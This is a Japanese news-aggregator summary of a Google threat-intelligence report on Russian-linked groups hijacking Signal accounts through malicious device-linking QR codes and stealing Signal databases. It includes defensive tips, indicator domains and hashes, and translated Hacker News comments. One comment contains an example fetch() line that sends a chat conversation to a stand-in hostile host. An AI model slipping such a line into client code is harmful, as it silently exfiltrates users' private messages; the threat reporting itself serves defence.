ロシア関連の脅威アクター、Signal Messengerを積極的に標的化

 (cloud.google.com)
1 ポイント 投稿者 GN⁺ 2025-02-20 | 2件のコメント | WhatsAppで共有
  • ロシア情報機関の関心対象が利用する Signalアカウント が集中的に標的となっており、機密性の高い政府・軍事通信を狙ったアカウント侵害の試みが増加している
  • 最も広く使われている手口は、正規の Linked Devices 機能を悪用して悪意あるQRコードをスキャンさせ、その後メッセージを攻撃者の端末へリアルタイム同期させる方式
  • UNC5792は偽のSignalグループ招待、UNC4221はKropyvaをテーマにしたフィッシングキットと偽のセキュリティ通知、APT44は捕獲した端末へのアクセスを通じて 端末連携 を狙う
  • APT44、Turla、Belarus関連のUNC1151などは、Android・Windows環境で Signalデータベース やSignal Desktopのメッセージ・添付ファイルを窃取する機能も運用している
  • Signalに限った問題ではなく、WhatsAppやTelegramも同様に標的となっているため、アプリ更新、連携端末の確認、QRコードへの注意、強固な画面ロックが必要

Signalアカウントを狙うロシア関連の活動

  • Google Threat Intelligence Group(GTIG)は、複数のロシア国家関連の脅威アクターがSignal Messengerアカウントの侵害を試みる活動を増やしていることを確認した
  • 主な標的はロシア情報機関の関心対象となる個人であり、ウクライナ再侵攻以降、機密性の高い政府・軍事通信へアクセスしようとする戦時需要が活動を拡大させている
  • Signalは軍人、政治家、記者、活動家、高リスクのコミュニティが利用するセキュアメッセンジャーであるため、監視・諜報活動における 高価値標的 となっている
  • 同様の脅威は WhatsApp や Telegram といった他の人気メッセンジャーにも拡大しており、ロシア関連グループが類似の手法を適用している
  • Signalの最新の Android および iOS リリースには、同様のフィッシングキャンペーンへの防御を支援する強化機能が含まれている
    • これらの機能を利用するには、ユーザーは最新バージョンへ 更新 する必要がある

Linked Devices機能の悪用手法

  • 最も新しく、かつ広く使われている手法は、Signalの正規機能である linked devices の悪用である
  • Signalでは、複数端末で同時に利用するため追加端末を連携する際、通常は QRコードのスキャン が求められる
  • 脅威アクターは、被害者がスキャンすると攻撃者管理下のSignalインスタンスが被害者アカウントに連携される 悪意あるQRコード を作成する
  • 連携に成功すると、その後のメッセージは被害者と攻撃者の双方へリアルタイムで同期されるため、端末全体を侵害しなくても安全な会話を継続的に盗み見できる
  • リモートフィッシングでは、悪意あるQRコードは主に次のように偽装される
    • Signalグループ招待
    • セキュリティ通知
    • Signalウェブサイトの正規の端末ペアリング案内
  • より高度に標的化されたリモートフィッシングでは、ウクライナ軍が使う特殊アプリケーションのように見せたフィッシングページに、悪意ある端末連携QRコードが埋め込まれる
  • 近接アクセス作戦でも同じ手法が使われる
    • APT44 は、戦場に展開したロシア軍が捕獲した端末のSignalアカウントを攻撃者管理インフラへ連携し、その後の悪用を可能にしている
  • 新たに連携された端末によるアカウント侵害は、中央集権的な技術ベースの検知と防御が不足しているため、低シグナルな初期アクセス になりやすい
    • 成功した場合、侵害が長期間気づかれないリスクが大きい

UNC5792: 改ざんされたSignalグループ招待

  • UNC5792はロシアの諜報活動が疑われるクラスターであり、CERT-UAの UAC-0195 と一部重複している
  • このグループは、Signalの正規の group invite ページを改ざんし、フィッシングキャンペーンに利用している
  • 正常なフローではユーザーをSignalグループへリダイレクトするが、改ざんページは被害者のSignalアカウントに攻撃者管理端末を連携させる悪意あるURLへ誘導する
  • 攻撃者管理インフラは、正規のSignalグループ招待に見えるよう構成されている
  • 偽のグループ招待のJavaScriptは、一般的なSignalグループ参加リダイレクトの代わりに、sgnl://linkdevice?uuid= 形式のSignal新規端末連携URIを含む悪意あるブロックへ置き換えられている
  • 例として signal-groups[.]tech というドメインが確認されている

UNC4221: カスタムSignalフィッシングキット

  • UNC4221は、CERT-UAが UAC-0185 として追跡しているロシア関連の脅威アクターで、ウクライナ軍人が使うSignalアカウントを積極的に標的化している
  • このグループは、ウクライナ軍が砲兵誘導に使用する Kropyva アプリケーションの構成要素のように見せた、カスタムSignalフィッシングキットを運用している
  • UNC4221もUNC5792と同様に、信頼できる連絡先からのSignalグループ招待のように見せかけて 端末連携機能 を隠している
  • 観測されたフィッシングキットの亜種には複数の形態がある
    • 被害者を、Signalが提供する正規の端末連携案内に見せかけた二次フィッシングインフラへリダイレクトするフィッシングWebサイト
    • 基本のKropyvaテーマのフィッシングキットに悪意ある端末連携QRコードを直接埋め込んだWebサイト
    • 2022年初期の作戦で、Signalの正規のセキュリティ通知に見えるよう作られたフィッシングページ
  • 例となるドメインとページには、signal-confirm[.]site, teneta.add-group[.]site, signal-protect[.]host などがある
  • UNC4221は、Signal標的化の中核コンポーネントとして PINPOINT という軽量JavaScriptペイロードも使用している
    • PINPOINTはブラウザのGeoLocation APIを使って基本的なユーザー情報と位置データを収集する
  • 今後の類似作戦では、セキュアメッセージと位置データがあわせて標的になる可能性が高い
    • 特に標的監視作戦や通常の軍事作戦支援の文脈で、両データが同時に狙われる

Signalメッセージ窃取を目的としたロシア・ベラルーシ関連活動

  • 複数の既知の地域脅威アクターは、被害者アカウントに追加端末を連携する方法に加え、AndroidおよびWindows端末上で Signalデータベースファイル を盗み出す機能も運用している
  • APT44は WAVESIGN という軽量Windows Batchスクリプトを使用する
    • 被害者のSignalデータベースから定期的にSignalメッセージを取得する
    • 最新メッセージをRcloneで流出させる
  • 2023年にウクライナの Security Service of Ukraine(SSU) と英国の National Cyber Security Centre(NCSC) が報告した Infamous Chisel AndroidマルウェアはSandwormに帰属されている
    • Android端末上で、Signalを含む複数のメッセンジャーアプリのローカルデータベースなど、特定の拡張子を持つファイル一覧を再帰的に検索するよう設計されている
  • TurlaはロシアFSB Center 16に帰属するロシアの脅威アクターである
    • 侵害後、Windows環境でSignal Desktopメッセージの持ち出し準備を行う軽量PowerShellスクリプトを運用している
  • Belarus関連のUNC1151はRobocopyコマンドラインユーティリティを使用する
    • Signal Desktopがメッセージと添付ファイルを保存するファイルディレクトリの内容を、後で流出させるためにステージングする

セキュアメッセンジャー利用者が取るべき防御策

  • 複数の脅威アクターがSignalに集中していることは、セキュアメッセンジャーアプリケーションへの脅威が短期的に深刻化する可能性を示している
  • 商用スパイウェア産業の成長や、紛争地域で使われるモバイルマルウェア亜種の増加と相まって、機密通信を監視しようとする攻撃的サイバー能力への需要が高まっている
  • 脅威はフィッシングやマルウェア配布といったリモートのサイバー作戦にとどまらない
    • 攻撃者が標的のロック解除済み端末へ一時的にアクセスできる 近接アクセス作戦 も重要なリスクである
  • Signalだけでなく、WhatsAppやTelegramも複数のロシア関連グループの最近の優先標的に含まれている
    • Microsoft Threat Intelligenceは、COLDRIVER、UNC4057、Star BlizzardがWhatsAppアカウント侵害のためLinked Devices機能を悪用しようとしたキャンペーンを 最近のブログ記事 で取り上げている
  • 国家支援型の侵入活動の標的となり得るユーザーは、次の防御習慣を実践すべきである
    • すべてのモバイル端末で 画面ロック を有効にし、大文字・小文字・数字・記号を組み合わせた長く複雑なパスワードを使用する
    • Androidは英数字パスワードをサポートしており、数字PINやパターンより大幅に高いセキュリティを提供する
    • OSアップデートを可能な限り早く適用し、Signalや他のメッセンジャーアプリを常に最新バージョンに保つ
    • Google Play Servicesを備えたAndroid端末でデフォルト有効の Google Play Protect を有効のままにする
    • アプリ設定の「Linked devices」セクションで、未承認の端末がないか定期的に確認する
    • ソフトウェア更新、グループ招待、その他の通知に見せかけ、即時の操作を促すQRコードやWebリソースに注意する
    • 可能であれば、指紋、顔認証、セキュリティキー、ワンタイムコードなどの二要素認証を使用して、アカウントログインや新規端末連携を検証する
    • 標的監視や諜報活動が懸念されるiPhoneユーザーは、攻撃面を減らすため Lockdown Mode の有効化を検討する

侵害指標と観測された手法の要約

  • 組織のハンティングと特定を支援するため、登録ユーザー向けの GTI Collection に侵害指標が含まれている
  • 関連する侵害指標の例は次の通り
    • UNC5792: e078778b62796bab2d7ab2b04d6b01bf, 改ざんされたグループ招待HTMLコードの例
    • UNC5792 偽グループ招待フィッシングページ: add-signal-group[.]com, add-signal-groups[.]com, group-signal[.]com, groups-signal[.]site, signal-device-off[.]online, signal-group-add[.]com, signal-group[.]site, signal-group[.]tech, signal-groups-add[.]com, signal-groups[.]site, signal-groups[.]tech, signal-security[.]online, signal-security[.]site, signalgroup[.]site, signals-group[.]com
    • UNC4221 端末連携案内フィッシングページ: signal-confirm[.]site, confirm-signal[.]site
    • UNC4221 偽Signalセキュリティ通知: signal-protect[.]host
    • UNC4221 偽Kropyvaグループ招待: teneta.join-group[.]online, teneta.add-group[.]site, group-teneta[.]online, helperanalytics[.]ru, teneta[.]group, group.kropyva[.]site
    • APT44: 150.107.31[.]194:18000, APT44が提供した動的生成の端末連携QRコード
    • APT44 WAVESIGN Batchスクリプト: a97a28276e4f88134561d938f60db495, b379d8f583112cad3cf60f95ab3a67fd, b27ff24870d93d651ee1d8e06276fa98
  • 観測された脅威アクターごとの戦術と技術は次の通り
    • UNC5792: 偽グループ招待を用いたリモートフィッシングにより、被害者のSignalメッセージを攻撃者管理端末へペアリングする
    • UNC4221: 偽の軍用Webアプリケーションとセキュリティ通知を用いたリモートフィッシングにより、被害者のSignalメッセージを攻撃者管理端末へペアリングする
    • APT44: 物理的にアクセスした端末を悪用し、被害者のSignalメッセージを攻撃者管理端末へペアリングする
    • APT44: AndroidマルウェアInfamous ChiselによりSignalデータベースファイルの流出を狙う
    • APT44: Windows Batchスクリプトにより、最近のSignalメッセージをRclone経由で定期的に流出させる
    • Turla: Windows環境侵害後にSignal Desktopデータベース窃取活動を行う
    • UNC1151: RobocopyでSignal Desktopファイルディレクトリの持ち出し準備を行う

関連記事

2件のコメント

 
ndrgrd 2025-02-20

脆弱なのは事実ですが、グループチャットさえまともに暗号化していないTelegramが、セキュリティ面で批判していること自体が滑稽ですね。
 
GN⁺ 2025-02-20
Hacker News のコメント

  • Signal のようにリンク済みデバイスのワークフローを持つアプリは、かなり以前から危険だった
    昨年 Telegram が Signal をこき下ろしたときにもこの点を指摘していたし（https://news.ycombinator.com/context?id=40303736）、Signal のリンク済みデバイス実装には昔から問題があったと思う: https://eprint.iacr.org/2021/626.pdf
    実際の攻撃事例が公開文献に出てくるまで、ここまで時間がかかったことのほうがむしろ驚き。Signal がこの攻撃を自分たちの脅威モデルの外にあると見なしたことも助けにならなかった。その論文によると、Signal は 2020年10月20日に報告を受け、10月28日に回答した際、長期秘密鍵の侵害は敵対者モデルに含めないと述べていた

    • 私の読み方が正しければ、この攻撃は攻撃者がユーザー端末にのみ保存されている**秘密鍵（IK）**とユーザーのパスワードをすでに持っていることを前提にしている
      そうだとすると、被害者の端末の1つに物理的にアクセスしたか、別のバックドアが必要になるはずで、そこまで行っていればもう負けているのではないかと思う。間違っていたら訂正してほしい。物理ハードウェアのセキュリティとフィッシング対策が依然として要点に見える
    • その論文の攻撃は、Signal プロトコルの他の鍵を導出するために使われるユーザーの**長期秘密アイデンティティ鍵（IK）**がすでに盗まれていることを前提にしている
      実験室の外でそれを入手する方法は、たいていユーザーの端末に root アクセスを得るか、最近のチャットバックアップを盗むくらいしかない。Google が発見したキャンペーンはフィッシングに近く、技術的にはそれほど深刻ではないが、ユーザーが危険な行動をしている最中だとどう警告するかは、ユーザビリティとセキュリティ全体が絡む難題だ。新しいリンク済みデバイスを追加すると、メッセージ履歴と直近45日分の添付ファイルまでコピーされ始めるなら、Signal ではいっそう重要になる問題だ
    • リンク済みデバイス機能を使わなければ、この攻撃対象領域も減るのか気になる

  • 最近より強く感じるのは、エンドツーエンド暗号化は結局、クライアントをエンドユーザーが自分でビルドして検証できなければならないという点です。
    暗号化されたCRDTベースの暗号化AIチャットサービスを作っていますが、レンダリング側にfetchを1行入れたり、分析トラッカーを入れたりするだけで、プロトコルが約束したセキュリティは無意味になります。さらに、レンダリングが実行されるOSまで信頼しなければなりません。
    クライアントをオープンソースにして再現可能にビルドできるようにしても、iOS Store経由で配布しなければならず、公開プロセスで何が起きてもおかしくありません。iOSを例に挙げたのは、自前でビルドしたアプリを載せるのが特に難しいからです。多者間チャットなら相手側も同じプロセスを経る必要があります。
    どれほど素晴らしいプロトコルや最高の通信経路暗号化を使っても、結局すべては信頼の問題です。Signalのようなものを使うと、完全に安全な環境だという錯覚の下で、むしろ監視対象になるのではないかと心配になります。政府機関が監視しようとするなら、隠すものが最も多いSignalユーザーにリソースを集中させそうです。
    時には、暗号化ストレージ以外はすべて無意味に感じられます。議論の大半が数学中心のセキュリティプロトコルの妥当性にとどまっているのも奇妙です。レンダリング層でfetch("[https://malvevolentactor.com](<https://malvevolentactor.com>;)", {body: JSON.stringify(convo)})を1行入れればすべて回避できてしまうのに、これについてどう考えているのか気になります。

    • 結局、CPUシリコンになる砂からOS、パケットの配送方式まで、パイプライン全体を制御できないなら、どこかに信頼のルートを置かなければなりません。
      信頼をなくすことは不可能に見え、何を信頼するかを移したり、抽象化の背後に隠したりしているだけです。今後さらに重要になるのは、ある程度信頼した主体が悪意を持って行動したことを明確に証明し、責任を負わせる仕組みです。
      たとえば、中間者攻撃を防ぐ証明書透明性ログ、受け取ったバイナリが公開されているオープンソースコードと一致するか確認する再現可能ビルド、WhatsApp/Signal/iMessageでNSAの鍵ではなく期待した公開鍵を受け取っているか確認する鍵の透明性のようなものです。
    • 暗号方式の理論的な位置づけにますますこだわり、さまざまな結果の実際のリスクが後回しにされている点で、本末転倒になっている感じがあります。
      安全すぎるシステムは、ユーザーが自分のメッセージを読めなくすることがあり、結局より安全でないシステムへ追いやる可能性があります。Matrixでも、ログアウトするとメッセージを永久に取り逃がす可能性があることをクライアントが明確に知らせられず、問題になりました。
      完全な前方秘匿性のような強い要件の一部は、実用上、ユーザーがメッセージングに求めるものと衝突することがあります。ユーザーが望むのは「自分のメッセージはいつでも自分が見られ、他人は絶対に見られない」ことですが、これは非常に難しいものです。セキュリティとパスワードリセット、スマートフォン紛失時の復旧の間には根本的な緊張があります。
      起こり得る結果を人々が完全に理解したなら、多くは最も強いエンドツーエンド暗号化を望まないかもしれません。代わりに「他人が自分のメッセージを見たら一生刑務所」のような強力な法的保証を望むかもしれません。最高レベルの技術的セキュリティを望む人もいますが、その優先順位に合わせて設計すると、そのトレードオフを受け入れないユーザーに反動が生じる可能性があります。
    • エンドツーエンド暗号化とクライアント・サーバー間暗号化の違いを気にするほど本当に安全であるべきものを、iOSとGoogle Play Servicesの上に作るのはかなり無意味だと思います。
      その程度のセキュリティを気にする人なら、iPhone以外のものを使おうと努力するでしょう。Signal支持者が気に入らない暗号システムのユーザーをLARPerと呼ぶのは、典型的な投影に見えます。米国政府で働いている場合くらいを除けば、Signalが実際に合っている脅威モデルが何なのかよく分かりません。
      学術界の暗号研究者が数学的アルゴリズムに集中する街灯効果も明らかにあります。最近はセキュリティ研究費を受けられる範囲が少し広がり、エンドツーエンドメッセージングプロトコルのトイモデルまでは含まれるようになりましたが、実際に重要な人間対人間の全区間まで含めるには、依然として不十分です。
    • 言っていることの一部は**証明（attestation）**とも呼ばれます。
      基本的には、信頼するルートが署名し、相互作用している実体がどの電話機+OS+アプリから来たものなのかを疑いなく確認してくれる方式です。
      Androidにはこれがあり、たとえばロックされたブートローダーとGoogleの署名、GoogleのOSが実行中かどうかを第三者に確認させることができます。理論上は別の信頼チェーンを用意し、Googleのスマートフォン+Lineage OSのような「オリジナル」ソフトウェアをリモートの相手に受け入れさせることも可能です。
      アプリも、OSがアクセス可能なアプリ署名を検証し、必要ならリモートの相手に提供できます。Googleのような単一主体を盲信しない完全に透明な証明生成物は、署名の信頼ルートの代わりに、検証対象コンポーネントのハッシュとバイナリを含む台帳を使うことができます。
      いずれも技術的には可能ですが、今日実際に可能な形では実装されていません。十分な関心があれば、最終的には実装されると思います。
    • いま提起した問題は確かに存在しますが、10〜15年前の通信状況を忘れているようにも思います。
      当時は何も暗号化されておらず、公衆Wi-Fiで何かをするのはロシアンルーレット同然で、SIGINT機関は黄金期を謳歌していました。その頃はネットワーク暗号化のほうが優先順位が高かったのです。

  • 記事に明確に書かれているわけではありませんが、私の理解では、攻撃の一つの最初の段階は戦死した兵士のスマートフォンを持ち去ることです。

    • 記事では、悪意あるQRコードを作成し、被害者にSignalへ攻撃者の端末をリンクさせるとしています。
      成功すると、その後のメッセージは被害者と攻撃者にリアルタイムで同時に配信されます。
    • 真面目な話として、兵士にスマートフォンが標準装備となる問題を提起しています。
      しかしスマートフォンは、特別な訓練なしでも使える強力なコンピューティング・通信プラットフォームをすべての兵士に提供します。問題は、上のコメントで述べられたリスクも含め、どう安全にするかです。
      ロシアの情報機関でも効果的に悪用できないほど十分に保護する方法を、誰かが研究しているように思います。そうした解決策が広く普及すれば、民間人のプライバシーにもよく応用できるでしょう。ウクライナ民間人の携帯電話をロシアの攻撃者から守るのも悪い考えではありません。
    • 兵士は携帯電話の携行を許可されていません。

  • QRコードを一度スキャンするだけでデバイスがリンクされるという話なら、それは穴なのではないかと思う
    コードをスキャンしただけでデバイスがリンクされてはいけなくて、「はい、このデバイスにリンクします」のような手動確認が必要なはず。そうすれば、グループ招待コードだと思ってスキャンしたとしても、実際にはそうではないと気づける。もちろん、それでもユーザーが気づく必要はあるが、「グループ参加コードだと思ってスキャンしたら、ひそかに別のデバイスがリンクされた」よりは意味のある改善になる

    • Signalは非技術系ユーザー向けに設計されていることを忘れるべきではない
      多くのユーザーはQRコード、リンク、接続といったものを理解しておらず、深く考えもしない。即座に本能的に推測して押し、画面から片づけて元の作業に戻るためにクリックすることも多い。確認手順がないと見る根拠があるのかは分からないし、Signalのドキュメントを見れば分かりそうだ

  • 関連記事: https://www.wired.com/story/russia-signal-qr-code-phishing-a... (https://web.archive.org/web/20250219110740/https://www.wired..., https://archive.ph/MbR9e)
    https://news.ycombinator.com/item?id=43103692経由で見たが、そこにはコメントがない

  • 良い知らせは、標的にされる理由があるということ。Signalがまだ有効だという意味だ

  • Signalが侵害されたと言おうとする声は多いが、ほとんどの場合、そちらのほうがSignalよりオープンソース性が低い点を見るべきだ
    Signalはウェブ規模の企業になりながらも、人権を守るために最善を尽くしている。個人の尊厳は重要だ。単なる会話ではない

    • 「誰が」侵害したというのかが分かりにくい。ロシアなのか、米国の情報機関なのか分からない
      Signal Foundationのウェブサイトで理事会メンバーを少し見たところ、Council on Foreign Relations、World Economic Forum Young Global Leader、Truman National Security Project security fellow、U.S. Department of StateのForeign Affairs Policy Boardといった表現が見えた
      こういう人たちは情報機関の世界の一部のように聞こえる。オープンソースのメッセージングアプリであるSignalの理事会で、具体的に何をしているのか気になる。単なる会話ではないという点には同意する
    • Telegramは特にさらに悪い。独自暗号化と独自プロトコルを使い、デフォルトではエンドツーエンド暗号化をまったく提供せず、すべてをサーバーに平文で保存する
    • 全般的に偽情報が多い厄介な環境で、Signalのように価値のある標的では特にそうだ
      Signalが安全なら、プライバシーを攻撃する側は、人々がSignalは侵害されていると信じて別のものを使うことを望むだろう。安全でないなら、逆に人々がSignalは安全だと信じることを望むだろう
      解決策は、潜在的な偽情報の発信源、とくにソーシャルメディア上の任意のユーザーを完全に無視することだと思う。HNも含まれる。社会的な中心がそういう場所にあると難しく、自分から距離を置く必要がある。合法的で信頼できる声に限定すべきだ
    • 「ウェブ規模」という言葉をいまだに真顔で使う人がいるとは思わなかった
      「MongoDBはウェブ規模です。オンにするだけでそのままスケールします」

  • 設定メニューで、予期しないリンク済みデバイスがないか確認できる

    • Signalがリンク済みデバイスを常にユーザーインターフェースに直接表示するのがよいのか気になる
      「アクティブなリンク済みデバイス3台」のような小さなアイコンを表示する形でよい
    • 良い考えだ。QRコードを送るよ

  • 一部のドメインを挙げていたが、すべてが登録済みというわけではない
    例えば signal-protect[.]host と kropyva[.]site は利用可能で、signal-confirm[.]site はウクライナで登録されている。一部はロシアで登録されている
    戦時下の国は、どちら側であっても信じるべきではない。AはBを責め、BはAを責めるが、双方とも自分たちのアジェンダがある

    • signal-confirm[.]site がウクライナで登録されているとしても、WHOISデータはたいてい偽物であることが多いので、それを根拠にするのは難しい
      ロシアはこうしたことに、ウクライナを含む近隣国の盗まれた認証情報やSIMカードも使うことで知られている
    • 悪意ある行為者のドメインがウクライナで登録されているからといって、自動的にウクライナの利益のために動いている、またはウクライナ当局が把握していると見るのは誤りだ
      残念ながら、ロシアの国家主体もウクライナ国内で活動するのに問題はない。そこに、より多く金を払う側に従う混乱した犯罪者たち、ロシアが一時占領した地域とウクライナを毎日行き来する人々まで加わると、すぐに複雑になる
    • 登録されていないドメインでも、例えばペイロード分析で見つかったのであれば侵害指標になり得る